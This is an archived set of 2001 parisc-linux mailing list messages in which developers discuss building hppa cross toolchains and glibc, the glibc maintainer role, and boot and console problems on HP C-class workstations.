> If you need more of the boot messages I can provide them.
> 	Nick
> 
> On Fri, 24 Aug 2001, Matthew Wilcox wrote:
> 
> > On Thu, Aug 23, 2001 at 03:33:36PM -0400, nick@snowman.net wrote:
> > > Ok, only one more question hopefully.  I updated my PDC firmware from v2.7
> > > to v6.1, that went fine.  I tried booting a 32bit lifimage, that worked
> > > untill it got to the SCSI, at which point it spat out lots of errors for
> > > id's 0, 1 and 2, then locked.  Is there something special I need to do to
> > > keep C180's scsi happy?  I am useing the debian iso's lifimages right now.
> > 
> > I don't recognise this problem, can you post the SCSI messages?
> > 
> > -- 
> > Revolutions do not require corporate support.
> > 
> > 
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> > 
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 




From - Thu Nov 08 21:18:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Users staying up to date.
Date: Tue, 28 Aug 2001 15:34:46 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20010828153446.R7064@linuxcare.com>
References: <20010814154037.I25258@megatonmonkey.net> <20010815010034.K22144@parcelfarce.linux.theplanet.co.uk> <20010814215030.A26703@megatonmonkey.net> <20010815041610.M22144@parcelfarce.linux.theplanet.co.uk> <20010817155340.C8649@megatonmonkey.net> <20010828000748.G7064@linuxcare.com> <20010828002251.L28978@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620423 24584 80.91.229.3 (22 Nov 2014 01:40:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:23 +0000 (UTC)
To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	parisc-linux@lists.parisc-linux.org, baldric-exec@baldric.uwo.ca
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 28 08:33:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6E5C2482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Aug 2001 08:33:14 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 0A325B00C; Tue, 28 Aug 2001 15:34:46 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010828002251.L28978@megatonmonkey.net>; from carlos@megatonmonkey.net on Tue, Aug 28, 2001 at 12:22:51AM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:12002

On Tue, Aug 28, 2001 at 12:22:51AM -0400, Carlos O'Donell Jr. wrote:
> I'm currently trying to roll the toolchain from start to end, and 
> automate the process a little. BTW, is there any automation setup for
> building the toolchain? Does each developer just have their own way(tm)
> of doing the build?

Mostly we use the prebuild cross-compilers from the parisc-linux
website, or we use the prebuilt native pkgs from a debian archive.

Richard





From - Thu Nov 08 21:18:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building from scratch.
Date: Tue, 28 Aug 2001 15:56:19 +0100
Lines: 43
Approved: news@gmane.org
Message-ID: <20010828155619.I18341@parcelfarce.linux.theplanet.co.uk>
References: <20010826162754.A10072@megatonmonkey.net> <20010827203849.H525@parcelfarce.linux.theplanet.co.uk> <20010828003952.M28978@megatonmonkey.net> <20010828061037.A13332@parcelfarce.linux.theplanet.co.uk> <20010828071743.A1289@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620423 24588 80.91.229.3 (22 Nov 2014 01:40:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:23 +0000 (UTC)
To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org, baldric-exec@baldric.uwo.ca
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 28 08:56:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id A7B55482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Aug 2001 08:56:20 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15bkHr-00076p-00; Tue, 28 Aug 2001 15:56:19 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010828071743.A1289@megatonmonkey.net>; from carlos@megatonmonkey.net on Tue, Aug 28, 2001 at 07:17:43AM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12003

On Tue, Aug 28, 2001 at 07:17:43AM -0400, Carlos O'Donell Jr. wrote:
> I have also tried building 2.2.4 without the diff, but with no success.

No, you definitely need the diff, you just need a little more than that
too :-)

> What would be the responsibilities of said maintianer?

Keeping the diff in the glibc tree up to date, trying to merge it upstream,
fixing bugs as they arise.

> The small fact that "uncomment the hppa-specific patch in 0list" means
> little to nothing to me ;) ... is probably an indication that I'm not
> experienced enough to take on glibc.

Let's see:

apt-get source glibc
cd glibc-2.2.4-1
vi debian/patches/0list
	delete the `#' from the front of glibc22-hppa.

I've fixed some problems with this patch, but it still dies doing the
install.

> Seeing as you are the current glibc maintainer, my question would be:
> What type of process do you follow for maintaining glibc?

Really, I don't.  I have no enthusiasm for working on glibc, so I simply
wait for debian to do new glibc releases and ensure the patch still applies.
The various bits in the patch need to get merged upstream, but I don't
enjoy dealing with drepper, so I haven't been working on that either.

> I promise to try and stop doing crazy things like building the toolchain
> by hand ;)

If you were to take over maintaining glibc, I'd forgive you :-)

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building from scratch.
Date: Tue, 28 Aug 2001 11:06:14 -0400
Lines: 70
Approved: news@gmane.org
Message-ID: <20010828110614.A30657@megatonmonkey.net>
References: <20010826162754.A10072@megatonmonkey.net> <20010827203849.H525@parcelfarce.linux.theplanet.co.uk> <20010828003952.M28978@megatonmonkey.net> <20010828061037.A13332@parcelfarce.linux.theplanet.co.uk> <20010828071743.A1289@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620423 24591 80.91.229.3 (22 Nov 2014 01:40:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:23 +0000 (UTC)
To: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org, baldric-exec@baldric.uwo.ca
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 28 09:05:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4697F482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Aug 2001 09:05:30 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f7SF9Op02504;
	Tue, 28 Aug 2001 11:09:24 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f7SF6FA00680;
	Tue, 28 Aug 2001 11:06:15 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org, baldric-exec@baldric.uwo.ca
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010828071743.A1289@megatonmonkey.net>; from carlos@megatonmonkey.net on Tue, Aug 28, 2001 at 07:17:43AM -0400
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (98% Sync Ratio [==========])
Xref: news.gmane.org gmane.linux.ports.parisc:12004

> > 
> > I have no enthusiasm for working on glibc.  Please, someone, take it
> > off my hands.
> > 
> > -- 
> > Revolutions do not require corporate support.
> >

Wow, do I feel like a knuckle head :}

So after allowing myself to sip a good cup of straight black joe,
I think I found _the_ problem with my setup.

I use a makefile + perl to automate the download/setup/install of
the toolchain and associated files (atleast that's what I'm working 
on...)

I noticed the following error in my makefile:

 --prefix=$(DEST)/hppa-linux\
--with-headers=$(SRC)/linux/include \

Which is definately not a good thing! Since both get concatenated
into a single --prefix. My apologies Matthew, I did not want to waste
your time or mine on something so trivial. Sadly, when trying for the
eleventybazillionth time ... you might miss the _missing_ space in
the configure line.

Please forgive me... once I finish the setup, would you like me to send
the list a new ./toolchain/index.html for the site?

Some things I've noticed that I will add to index.html:

a) Must remember to set CC to hppa-linux-gcc (It hurts when you forget)
	= glibc's configure always seeks out gcc and there seems to
	= be no --with-cc=?? option
	= The wrong gcc also hurts because configure adds 
	= -isystem /your/local/gcc/include rather than the proper one.

b) Must remember to add $DEST/bin to path (needed for building gcc)
	= gcc is the first complainer since it needs hppa-linux-ar.

c) If not running debian, must run:

[glibc-2.2.4]sh ./debian/patches/glibc22-hppa.dpatctch -patch /your/hppa/glibc
(This patch touches some ia64 stuff?)

I wonder how many people build the toolchain from source?
I love this crosscompiler! Especially since our dual PIII box can still
compile the pants of any of our HPPA boxes (especially the 715/50's ;)

<Carlos looks back at the compile, still chugging, much father!>

OH MY GOD!
It compiled with 0 errors and 0 warnings...

I'm estatic!

I'm too frenetic to actually attempt to xc something and test out glibc :}


I'll bet you lied about the patch failing just to taunt me!
I bested you! ;)


Cheers,
Carlos.




From - Thu Nov 08 21:18:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Users staying up to date.
Date: Tue, 28 Aug 2001 09:14:17 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <20010828151417.CADE037DAD@carmen.fc.hp.com>
References: <20010814154037.I25258@megatonmonkey.net> 
 <20010815010034.K22144@parcelfarce.linux.theplanet.co.uk> 
 <20010814215030.A26703@megatonmonkey.net> <20010815041610.M22144@parcelfarce.linux.theplanet.co.uk> <20010817155340.C8649@megatonmonkey.net> <20010828000748.G7064@linuxcare.com>  <20010828002251.L28978@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620424 24593 80.91.229.3 (22 Nov 2014 01:40:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:24 +0000 (UTC)
To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	Richard Hirst <rhirst@linuxcare.com>,
	parisc-linux@lists.parisc-linux.org, baldric-exec@baldric.uwo.ca
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 28 09:14:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [192.151.27.9])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8FE80482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Aug 2001 09:14:21 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel7.hp.com (Postfix) with ESMTP
	id 101691F78E; Tue, 28 Aug 2001 11:12:55 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id CADE037DAD; Tue, 28 Aug 2001 09:14:17 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from "Carlos O'Donell Jr." <carlos@megatonmonkey.net> 
   of "Tue, 28 Aug 2001 00:22:51 EDT." <20010828002251.L28978@megatonmonkey.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:12005

"Carlos O'Donell Jr." writes...

> I think the main issue was that we were using a _really_ old kernel.
> Which didn't have a lot of the later patches for the older 715 boxes.
> 
> I'm currently trying to roll the toolchain from start to end, and 
> automate the process a little. BTW, is there any automation setup for
> building the toolchain?

For an x86 -> hppa/hppa64 cross toolchain I use the palinux-autobuilder script 
in the build-tools section of pehc cvs.

For a native hppa toolchain use the debian packages(which several people 
worked very hard on in order to get working so we didn't have to deal with 
building by hand).

For hppa -> hppa64 cross compilers I still do it by hand.

Are you rolling your own toolchain for fun, or is the stuff on pehc not 
meeting your needs?

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:18:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building from scratch.
Date: Tue, 28 Aug 2001 11:29:00 -0400
Lines: 66
Approved: news@gmane.org
Message-ID: <20010828112900.B30657@megatonmonkey.net>
References: <20010826162754.A10072@megatonmonkey.net> <20010827203849.H525@parcelfarce.linux.theplanet.co.uk> <20010828003952.M28978@megatonmonkey.net> <20010828061037.A13332@parcelfarce.linux.theplanet.co.uk> <20010828071743.A1289@megatonmonkey.net> <20010828155619.I18341@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620424 24598 80.91.229.3 (22 Nov 2014 01:40:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:24 +0000 (UTC)
To: baldric-exec@baldric.uwo.ca, willy@debian.org,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 28 09:28:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0DF19482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Aug 2001 09:28:21 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f7SFWCp02647;
	Tue, 28 Aug 2001 11:32:12 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f7SFT0u07576;
	Tue, 28 Aug 2001 11:29:00 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	baldric-exec@baldric.uwo.ca, willy@debian.org,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010828155619.I18341@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Tue, Aug 28, 2001 at 03:56:19PM +0100
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (98% Sync Ratio [==========])
Xref: news.gmane.org gmane.linux.ports.parisc:12006

> 
> No, you definitely need the diff, you just need a little more than that
> too :-)
> 

I didn't need much more than that... I ignored the errors generated by
the patch (there were no errors on the critical hppa stuff, just some
touches into the ia64 section? Didn't look into it in much detail)

Boy did I fsck in my pants when I forgot that LD_LIBRARY_PATH had the
current directory ... and I cd'd into the glibc build directory :}

> 
> Keeping the diff in the glibc tree up to date, trying to merge it upstream,
> fixing bugs as they arise.
> 

I've never merged upstream, does it hurt? :}

> 
> Let's see:
> 
> apt-get source glibc
> cd glibc-2.2.4-1
> vi debian/patches/0list
> 	delete the `#' from the front of glibc22-hppa.
> 
> I've fixed some problems with this patch, but it still dies doing the
> install.
> 

Are you using dpkg-buildpackage to build it all?
Not having a debain based system makes it harder to test this...
(I might install all the deb tools and give it a try...)

'make install' worked on my box.

I theoretically have a working glibc 2.2.4-1 created using gcc-latest and
binutils-latest from the parisc ftp-site.

> 
> Really, I don't.  I have no enthusiasm for working on glibc, so I simply
> wait for debian to do new glibc releases and ensure the patch still applies.
> The various bits in the patch need to get merged upstream, but I don't
> enjoy dealing with drepper, so I haven't been working on that either.
> 
> If you were to take over maintaining glibc, I'd forgive you :-)
>

[carlos@systemhalted debian]$ man drepper
No manual entry for drepper
rlos@systemhalted debian]$ apropos ulrich
ulrich: nothing appropriate

Nothing appropriate indeed!
I can't see to find that tool, I'm sure it won't be hard to work with... ;)

I might take over maintaining glibc, but not quite yet...
If you let me get comfortable, possibly introducing me to the methodology
or just letting me shadow what you do... I might just take it from you ;)

Cheers,
Carlos. 




From - Thu Nov 08 21:18:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hang on C200 after 'Set default PSW W bit to 0' in 0.9.2
Date: Tue, 28 Aug 2001 16:36:15 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20010828163615.S7064@linuxcare.com>
References: <20010825135206.A1049@middle.of.nowhere>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620424 24601 80.91.229.3 (22 Nov 2014 01:40:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: thunder7@xs4all.nl
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 28 09:34:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id 91C65482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Aug 2001 09:34:43 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 5DB4CB00C; Tue, 28 Aug 2001 16:36:15 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010825135206.A1049@middle.of.nowhere>; from thunder7@xs4all.nl on Sat, Aug 25, 2001 at 01:52:06PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:12007

On Sat, Aug 25, 2001 at 01:52:06PM +0200, thunder7@xs4all.nl wrote:
> Set default PSW W bit to 0
> 
> and then nothing.
> 
> I know booting with a keyboard/mouse attached to the C200 would be
> risky, but I don't think it should go wrong so early in the booting
> process?

All subsequent output is generated by the kernel, so if the kernel
can't drive the sti console, you wont see anything else.  You need to
work on getting the serial ports going.  I use a cross-over cable
to connect my B180 to a PC.

Richard





From - Thu Nov 08 21:18:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Users staying up to date.
Date: Tue, 28 Aug 2001 11:40:32 -0400
Lines: 51
Approved: news@gmane.org
Message-ID: <20010828114032.C30657@megatonmonkey.net>
References: <20010814154037.I25258@megatonmonkey.net> <20010815010034.K22144@parcelfarce.linux.theplanet.co.uk> <20010814215030.A26703@megatonmonkey.net> <20010815041610.M22144@parcelfarce.linux.theplanet.co.uk> <20010817155340.C8649@megatonmonkey.net> <20010828000748.G7064@linuxcare.com> <20010828002251.L28978@megatonmonkey.net> <carlos@megatonmonkey.net> <20010828151417.CADE037DAD@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620425 24604 80.91.229.3 (22 Nov 2014 01:40:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:25 +0000 (UTC)
To: baldric-exec@baldric.uwo.ca, rhirst@linuxcare.com,
	parisc-linux@lists.parisc-linux.org, baldric-exec@baldric.uwo.ca
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 28 09:39:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3D73F482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Aug 2001 09:39:46 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f7SFhhp02722;
	Tue, 28 Aug 2001 11:43:43 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f7SFeWc07639;
	Tue, 28 Aug 2001 11:40:32 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	baldric-exec@baldric.uwo.ca, rhirst@linuxcare.com,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010828151417.CADE037DAD@carmen.fc.hp.com>; from taggart@carmen.fc.hp.com on Tue, Aug 28, 2001 at 09:14:17AM -0600
X-Useless-Header: oooohhmmm, chant the email mantra...
Xref: news.gmane.org gmane.linux.ports.parisc:12008

> 
> For an x86 -> hppa/hppa64 cross toolchain I use the palinux-autobuilder script 
> in the build-tools section of pehc cvs.
> 
> For a native hppa toolchain use the debian packages(which several people 
> worked very hard on in order to get working so we didn't have to deal with 
> building by hand).
> 

True, the native hppa toolchain is excellent. But in our case the systems we
are compiling for are much too slow.  Our cluster of 715's is great for 
proving and testing that your code works in parallel, but nothing short of
dead slow...

Thus we make extensive use of the toolchain on x86.
Ever try building MPICH on a 715/50? :}
Compared to make -j16 on our dual PIII...

> For hppa -> hppa64 cross compilers I still do it by hand.
> 
> Are you rolling your own toolchain for fun, or is the stuff on pehc not 
> meeting your needs?
>

The palinux-autobuilder, atleast the last one I saw, could not compile
the latest set of sources.  I haven't tried in a while.  This is really
the whole reason this thread got started... that palinux-autobuilder 
wasn't working properly for me :} And now Matthew almost has me signed on
as the maintainer for glibc on hppa!

Also, the notes on http://www.parisc-linux.org/toolchain/index.html should
be changed to reflect the fact that it's not possible to build a system
using said instructions ;)

It should probably be changed to include the steps required to:

a) Roll it by hand (what I was attempting)
b) Use the palinux-autobuilder

It goes without saying that I really _want_ the autobuilder to work.
Maybe I should grab it out of CVS... I had the ftp version.

I noted in my other email, that there are a few finiky things that
the autobuilder must do in order to work (set certain environment variables,
patch glibc, etc...).

Cheers,
Carlos. 




From - Thu Nov 08 21:18:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] visualize C360/785 install
Date: Tue, 28 Aug 2001 17:35:50 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20010828173550.U7064@linuxcare.com>
References: <426B4FEBE684D411B0A60090273B1D2401AD0E64@AA0016> <20010827223833.B12905@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620425 24606 80.91.229.3 (22 Nov 2014 01:40:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:25 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "Kurc, Marcin A." <makurc@cooperstandard.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 28 10:34:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id 53D7E482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Aug 2001 10:34:18 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id C0E7EB00C; Tue, 28 Aug 2001 17:35:50 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010827223833.B12905@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Mon, Aug 27, 2001 at 10:38:33PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:12009

On Mon, Aug 27, 2001 at 10:38:33PM +0100, Matthew Wilcox wrote:
> On Mon, Aug 27, 2001 at 04:24:08PM -0400, Kurc, Marcin A. wrote:
> > Did anyone have any luck installing parisc-linux on HP visualize C360 (785)?
> 
> Ought to work.  Don't have one here, but Richard has one.

Yes I do - it works for me, although I've only used serial console.
Are you using serial or graphical console?

Richard





From - Thu Nov 08 21:18:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kurc, Marcin A." <makurc@cooperstandard.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] visualize C360/785 install
Date: Tue, 28 Aug 2001 13:00:13 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <426B4FEBE684D411B0A60090273B1D2401AD0E6E@AA0016>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620425 24608 80.91.229.3 (22 Nov 2014 01:40:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:25 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: 'Richard Hirst' <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 28 11:00:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fa0008.coopertire.com (unknown [63.150.221.254])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0AB4F482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Aug 2001 11:00:20 -0600 (MDT)
Original-Received: by FA0008 with Internet Mail Service (5.5.2653.19)
	id <PBAD390T>; Tue, 28 Aug 2001 13:00:14 -0400
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12010

I'm using graphical console, have to dig up a serial one somewhere :)

thanks

-----Original Message-----
From: Richard Hirst [mailto:rhirst@linuxcare.com]
Sent: Tuesday, August 28, 2001 11:36 AM
To: Kurc, Marcin A.
Cc: 'parisc-linux@lists.parisc-linux.org'
Subject: Re: [parisc-linux] visualize C360/785 install


On Mon, Aug 27, 2001 at 10:38:33PM +0100, Matthew Wilcox wrote:
> On Mon, Aug 27, 2001 at 04:24:08PM -0400, Kurc, Marcin A. wrote:
> > Did anyone have any luck installing parisc-linux on HP visualize C360
(785)?
> 
> Ought to work.  Don't have one here, but Richard has one.

Yes I do - it works for me, although I've only used serial console.
Are you using serial or graphical console?

Richard





From - Thu Nov 08 21:18:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: 'Richard Hirst' <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] visualize C360/785 install
Date: Tue, 28 Aug 2001 18:13:43 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <20010828181343.V7064@linuxcare.com>
References: <426B4FEBE684D411B0A60090273B1D2401AD0E6E@AA0016>
NNTP-Posting-Host: plane.gmane.org
